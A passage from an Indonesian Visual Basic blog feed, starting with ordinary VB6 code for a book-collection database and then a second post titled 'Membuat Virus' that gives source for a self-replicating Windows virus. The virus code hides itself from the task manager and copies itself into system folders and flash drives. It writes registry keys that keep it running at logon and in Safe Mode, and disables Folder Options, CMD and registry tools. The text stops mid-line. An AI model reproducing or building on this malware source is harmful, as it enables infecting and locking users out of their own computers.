x-small;"&gt;Private Sub MnuUrutPenulis_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field Penulis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUrutReferensi_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field referensi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menggunakan statemen select case&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'initialisasi toolbar dan isi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case Button.Key&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Tambah"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'disabled TxtSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menambah daftar koleksi buku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.AddNew&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Simpan"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan daftar buku yang telah di inputkan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Save&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Hapus"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Hapus daftar buku record aktif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Laporan"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Main 'MENUTUP APLIKASI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Shell App.Path &amp;amp; "\KoleksiBukuku.exe" 'MEMANGGIL APLIKASI KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DataReport1.Show 'MENAMPILKAN LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Ubah"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'membuat textbox dapat di edit/ubah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = TruetxtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Batal"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'disable textbox&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'batalkan update kemudian menuju ke record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.CancelUpdate&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Update"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;With adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Clone&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Judul = txtJudul.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Referensi = txtReferensi.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penulis = txtPenulis.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!cetakan = TxtCetakan.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penerbit = txtPenerbit.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan hasil pengeditan data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End With&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;mnuitemdelete_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Keluar"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'keluar dari aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Me&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub TxtSearch_KeyPress(KeyAscii As Integer)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika menekan enter&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If KeyAscii = 13 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SelStart = 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SelLength = Len(TxtSearch.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika cbosearch dipilih&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case CboSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika data tidak ditemukan maka&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.EOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Data yang anda cari tidak ditemukan",vbOKOnly + vbCritical, "Search"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error GoTo 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;u&gt;Letakan kode di bawah ini di Data environment1&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub DataEnvironment_Initialize()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Selalu terkoneksi dengan database "Daftar Buku.mdb" asalkan masih dalam satu folder dengan aplikasi.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Akibat jika anda lupa tdk menulis kode di bawah ini adalah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'- muncul pesan untuk memasukan alamat yang benar database pada saat akan melihat laporan/report,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pesan ini muncul karena anda membuat folder baru untuk meletakkan project sehingga alamat tdk ditemukan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'untuk latihan jangan tulis kode di bawah ini tetapi melalui Dataenvironment1 klik kanan properties&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pilih alamat file database "Daftar Buku.mdb". Kemudian coba jalankan aplikasi dan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pilih laporan maka laporan akan terlihat. Sekarang keluar dari VB dan pindahkan folder project anda&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'ke sembarang (alamat baru), jalankan aplikasi database masih terkoneksi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'tetapi pada saat ingin melihat laporan akan muncul pesan error.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DataEnvironment1.DaftarBuku.ConnectionString = App.Path &amp;amp; "\Daftar Buku.mdb"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Semoga bermanfaat&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10366076/DataBaseMyBooks.rar.html"&gt;Download Data Base MyBooks&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-6040435728417186976?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/6040435728417186976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/08/database-koleksi-bukuku.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/6040435728417186976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/6040435728417186976'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/08/database-koleksi-bukuku.html' title='MyBooks Database'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/JokomartonoVB/SLiUeyMAncI/AAAAAAAAAD8/97AJVDxrNz4/s72-c/software.jpg' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-2522121197916888344</id><published>2008-08-21T00:03:00.007+07:00</published><updated>2010-12-26T00:11:38.253+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virus'/><title type='text'>Membuat Virus</title><content type='html'>Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox&lt;br /&gt;Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.&lt;br /&gt;&lt;br /&gt;Masukan semua code di bawah ini pada form&lt;br /&gt;==========================================&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="margin: 0px;padding: 3px;border: 1px inset;width: 500px;height: 498px;text-align: left;overflow: auto"&gt;Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File&lt;br /&gt;Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage&lt;br /&gt;Private Declare Function GetDriveType&amp;amp; Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk&lt;br /&gt;Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows&lt;br /&gt;Private Const WM_CLOSE = &amp;amp;H10&lt;br /&gt;Private Const EWX_LOGOFF = 0&lt;br /&gt;Private Const EWX_SHUTDOWN = 1&lt;br /&gt;Private Const EWX_REBOOT = 2&lt;br /&gt;Private Const EWX_FORCE = 4&lt;br /&gt;Private Const EWX_POWEROFF = 8&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;Dim FWnd&lt;br /&gt;Dim obj As Object&lt;br /&gt;Dim doc As Object&lt;br /&gt;Dim WrkBook As Object&lt;br /&gt;Dim WrkSheet As Object&lt;br /&gt;Dim i As Integer&lt;br /&gt;Dim RegRun&lt;br /&gt;Dim FolderStartUp&lt;br /&gt;Dim FolderMyDocuments&lt;br /&gt;Dim FolderTemplates&lt;br /&gt;Dim FolderNetHood&lt;br /&gt;Dim FolderPrintHood&lt;br /&gt;Dim FolderFavorites&lt;br /&gt;Dim FolderSendTo&lt;br /&gt;Dim FolderPrograms&lt;br /&gt;Dim FlashDisk&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;On Error Resume Next&lt;br /&gt;'acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi&lt;br /&gt;Randomize&lt;br /&gt;Me.Caption = Int(Rnd * 2221189331445#) 'silahkan masukan angka sesuka anda&lt;br /&gt;'menggandakan diri&lt;br /&gt;GandakefolderIstimewa&lt;br /&gt;Me.Visible = False&lt;br /&gt;App.TaskVisible = False 'virus tidak terlihat di task manager&lt;br /&gt;InfeksiRegistry&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub BuatWord()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Set obj = CreateObject("word.application")&lt;br /&gt;Set doc = CreateObject("word.application")&lt;br /&gt;Set doc = obj.Documents.Add&lt;br /&gt;doc.Content = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub BuatXls()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Set obj = CreateObject("excel.application")&lt;br /&gt;Set WrkBook = obj.workbooks.Add&lt;br /&gt;Set WrkSheet = WrkBook.worksheets.Add&lt;br /&gt;WrkSheet.Cells(15, 4) = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub InfeksiRegistry()&lt;br /&gt;On Error Resume Next&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" &amp;amp; " """ &amp;amp; FolderMyDocuments &amp;amp; "\services.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites &amp;amp; "\SalamKenal.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderTemplates &amp;amp; "\smss.exe" 'smss.exe berjalan pada saat startup&lt;br /&gt;RegRun.regwrite 